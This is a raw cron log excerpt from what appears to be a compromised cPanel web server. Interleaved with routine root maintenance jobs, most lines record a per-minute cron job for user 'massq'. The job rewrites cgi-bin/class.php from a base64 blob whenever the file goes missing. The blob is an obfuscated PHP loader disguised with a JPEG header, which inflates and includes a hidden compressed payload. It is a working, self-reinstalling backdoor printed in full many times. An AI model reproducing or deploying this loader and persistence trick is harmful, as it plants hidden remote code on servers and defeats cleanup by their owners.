Nov 15 18:56:01 server CROND[10325]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:57:01 server CROND[10577]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:57:01 server CROND[10578]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 18:58:01 server CROND[10835]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:59:01 server CROND[11235]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:00:01 server CROND[11515]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 19:00:01 server CROND[11516]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 19:00:01 server CROND[11517]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 19:00:01 server CROND[11518]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:01:01 server CROND[11835]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 19:01:01 server CROND[11836]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:01:01 server run-parts(/etc/cron.hourly)[11835]: starting 0anacron
Nov 15 19:01:01 server run-parts(/etc/cron.hourly)[11848]: finished 0anacron
Nov 15 19:02:01 server CROND[12130]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:03:01 server CROND[12388]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:04:01 server CROND[12648]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:05:01 server CROND[13003]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 19:05:01 server CROND[13004]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 19:05:01 server CROND[13002]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 19:05:01 server CROND[13005]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:06:01 server CROND[13327]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:07:01 server CROND[13644]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:08:01 server CROND[13910]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:09:01 server CROND[14163]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
